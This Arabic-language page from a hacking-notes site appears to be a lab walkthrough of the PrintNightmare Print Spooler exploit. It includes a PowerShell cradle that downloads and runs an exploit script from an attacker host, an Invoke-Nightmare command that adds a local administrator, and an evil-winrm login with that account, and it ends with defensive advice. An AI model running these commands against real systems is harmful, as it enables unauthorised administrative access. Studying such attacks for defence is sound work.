> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# Print Spooler - PrintNightmare

`spoolsv.exe` هي خدمة Windows Print Spooler. عندما يكون الهدف عرضة للثغرة، قد يسمح استغلال بأسلوب PrintNightmare بارتفاع الامتيازات محليًا أو عن بُعد وفقًا لإصدار Windows ومستوى التصحيح ومدى تعرّض الخدمة.

## الاكتشاف

اربط بين خدمة Print Spooler النشطة أو المكشوفة وإصدار Windows الدقيق والتحديثات المثبتة.

<figure><img src="/files/25f89a6c3a53cfafac010d17dc088c133a45b359" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## استغلال المختبر

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/b732abaf32a21668728541a96b371f9837449b89" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

حمّل البرنامج النصي:

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

أنشئ مستخدم مسؤول محلي في المختبر:

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/127a7dbd2461e5cb087fa2090c8154623e154728" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/850de6fceef4d79dadeff99db5a78f9f20643a2e" alt="New administrative user validation"><figcaption></figcaption></figure>

## الاتصال

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/ca5b8e32e33f9fd06f31260c7e5705e7d67f56fb" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## النقاط الرئيسية

* تأكد من الثغرة من خلال التحقق من الإصدار والتحديثات المثبتة.
* عطّل خدمة Print Spooler حيثما لم تكن مطلوبة، خاصةً على الخوادم الحساسة.
* راقب إنشاء حسابات مسؤول محلي بشكل مفاجئ وعمليات تشغيل برامج تشغيل الطابعات المشبوهة.


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